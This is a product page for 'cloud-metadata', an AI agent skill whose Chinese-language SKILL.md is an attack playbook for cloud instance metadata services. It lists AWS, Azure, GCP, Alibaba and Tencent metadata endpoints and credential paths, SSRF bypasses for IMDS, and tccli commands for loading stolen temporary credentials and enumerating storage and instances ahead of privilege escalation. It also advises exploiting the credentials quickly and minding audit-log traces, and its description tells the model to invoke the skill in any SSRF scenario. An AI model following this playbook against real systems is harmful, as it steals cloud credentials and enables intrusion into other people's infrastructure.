Cloud Metadata logo

Cloud Metadata

OrganizationPopular
wgpsec
cloud-metadata

云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能

Overview

Publisherwgpsec
RepositoryAboutSecurity
Skill namecloud-metadata
Stars
1.7K
Forks
242
Bundled files
3
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • 3 bundled files

    Scripts, templates, and references the model can read while it works. Files are read-only and never executed.

  • Open source

    Published by wgpsec on GitHub. Read the source before you install it.

Installation

Install the Cloud Metadata AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/wgpsec/AboutSecurity.git /tmp/AboutSecurity
mkdir -p .claude/skills
cp -r /tmp/AboutSecurity/skills/cloud/cloud-metadata .claude/skills/cloud-metadata
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Cloud Metadata in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Cloud Metadata on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Cloud Metadata is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

云元数据利用方法论

IMDS 是从 SSRF/RCE 到云控制面的桥梁——一个 HTTP 请求就能获取 IAM/CAM 临时凭据。

⛔ 深入参考(必读)


Phase 1: 确认云环境

线索云平台
x-amz-* Header, Server: AmazonS3AWS
x-ms-* Header, .azurewebsites.netAzure
.googleapis.com, x-goog-* HeaderGCP
.aliyuncs.com, x-oss-* Header阿里云
.myqcloud.com, x-cos-* Header, Server: tencent-cos腾讯云

Phase 2: 元数据端点速查

# AWS (IMDSv1 — 直接 GET)
http://169.254.169.254/latest/meta-data/

# AWS (IMDSv2 — 需要 PUT 获取 Token)
PUT http://169.254.169.254/latest/api/token
  Header: X-aws-ec2-metadata-token-ttl-seconds: 21600

# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
  Header: Metadata: true

# GCP
http://metadata.google.internal/computeMetadata/v1/
  Header: Metadata-Flavor: Google

# 阿里云
http://100.100.100.200/latest/meta-data/

# 腾讯云(CVM/轻量应用服务器/Lighthouse)
http://metadata.tencentyun.com/latest/meta-data/
# 也可通过 IP 访问
http://169.254.0.23/latest/meta-data/

腾讯云元数据完整路径

# 基础信息
http://metadata.tencentyun.com/latest/meta-data/
http://metadata.tencentyun.com/latest/meta-data/instance-id
http://metadata.tencentyun.com/latest/meta-data/uuid
http://metadata.tencentyun.com/latest/meta-data/hostname
http://metadata.tencentyun.com/latest/meta-data/local-ipv4
http://metadata.tencentyun.com/latest/meta-data/public-ipv4
http://metadata.tencentyun.com/latest/meta-data/instance-type

# 区域信息
http://metadata.tencentyun.com/latest/meta-data/placement/region
http://metadata.tencentyun.com/latest/meta-data/placement/zone

# 网络(需先获取 MAC 地址)
http://metadata.tencentyun.com/latest/meta-data/mac
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/vpc-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/subnet-id
http://metadata.tencentyun.com/latest/meta-data/network/interfaces/macs/<mac>/local-ipv4

# CAM 角色凭据(关键攻击面!)
http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/
# ↑ 列出挂载的角色名称

http://metadata.tencentyun.com/latest/meta-data/cam/security-credentials/<role-name>
# ↑ 返回临时凭据: TmpSecretId, TmpSecretKey, Token, ExpiredTime

# 用户数据(启动脚本——经常包含密码!)
http://metadata.tencentyun.com/latest/user-data

Phase 3: SSRF → 元数据

  • 直接用 SSRF 请求 http://169.254.169.254/...(AWS/Azure/GCP)
  • 直接用 SSRF 请求 http://metadata.tencentyun.com/...(腾讯云,域名方式)
  • 直接用 SSRF 请求 http://100.100.100.200/...(阿里云)
  • IMDSv2 需要 PUT + 自定义 Header → 大多数 SSRF 无法设置 Header,这是 IMDSv2 的防护价值
  • 绕过:http://[::ffff:169.254.169.254]/、DNS rebinding、302 重定向
  • 腾讯云和阿里云的元数据服务不需要特殊 Header(与 IMDSv1 类似,更容易被 SSRF 利用)

Phase 4: 凭据利用决策树

获取到凭据?
├─ AWS → export 环境变量 → aws sts get-caller-identity → 枚举 S3/EC2/Lambda/Secrets
├─ Azure → Bearer Token → 枚举资源
├─ GCP → OAuth Token → 枚举项目资源
├─ 阿里云 → STS Token → 枚举 OSS/ECS
└─ 腾讯云 → 配置 tccli → 枚举 COS/CVM/SCF/CAM
    ├─ tccli configure(交互式)或设置环境变量
    ├─ tccli sts GetCallerIdentity(验证身份)
    ├─ coscli ls 或 Python SDK(列出存储桶,tccli 不支持 GetService)
    ├─ tccli cvm DescribeInstances(列出实例)
    └─ → 转入 cloud-iam-audit 技能进行提权评估
详细命令 → [references/credential-extraction.md](references/credential-extraction.md)

腾讯云凭据快速配置

bash
# 方式 1: tccli configure
tccli configure
# SecretId: 从元数据获取的 TmpSecretId
# SecretKey: 从元数据获取的 TmpSecretKey
# token: 从元数据获取的 Token
# Region: 从元数据 placement/region 获取

# 方式 2: 环境变量(适合脚本化)
export TENCENTCLOUD_SECRET_ID="TmpSecretId"
export TENCENTCLOUD_SECRET_KEY="TmpSecretKey"
export TENCENTCLOUD_SESSION_TOKEN="Token"

# 验证
tccli sts GetCallerIdentity

获取云凭据后,进行 IAM 提权评估。

注意事项

  • IMDSv2 是 AWS 对元数据 SSRF 的主要防护——纯 SSRF 基本无法利用
  • 腾讯云和阿里云元数据不强制 Token,SSRF 利用门槛更低
  • 云凭据有过期时间(通常 6-12 小时),获取后应立即利用
  • 凭据操作会留下 CloudTrail/CloudAudit 日志,注意操作痕迹
  • User-Data (/latest/user-data) 经常包含启动脚本中的密码
  • 腾讯云元数据域名 metadata.tencentyun.com 只能在实例内网访问

后续利用

  • 获取云凭据后可进行横向移动,访问更多云资源
  • 腾讯云: 凭据 → tccli/coscli 枚举 COS → 搜索敏感数据 → CAM 提权
  • AWS: 凭据 → awscli 枚举 S3/EC2/Lambda → IAM 提权

Bundled files

The model reads these on demand while the skill is loaded. They are exposed as readable files and are never executed.

Frequently asked questions

What does the Cloud Metadata AI skill do?

云元数据利用。当通过 SSRF 或已获取的 shell 可以访问云实例元数据服务时使用。覆盖 AWS/Azure/GCP/阿里云/腾讯云的元数据端点、IAM/CAM 凭据提取、IMDSv2 绕过、从元数据到云服务枚举的完整攻击链。发现任何 SSRF 场景、内网可访问 169.254.169.254 或 100.100.100.200 的场景都应使用此技能

Why use Cloud Metadata on TypingMind?

Because you install it once and use it with any model. Cloud Metadata is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Cloud Metadata in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/wgpsec/AboutSecurity/tree/master/skills/cloud/cloud-metadata. TypingMind reads its SKILL.md and bundles its files and installs it as a skill you can enable per chat.

Which AI models can use Cloud Metadata?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Cloud Metadata?

As many as you like. As long as a model supports skills, you can use Cloud Metadata with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Cloud Metadata AI skill free?

It is published on GitHub by wgpsec. Check the repository for licensing terms. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

View all

Set up your own AI workspace now

Get notified about new features and future giveaways by subscribing to our newsletter 👇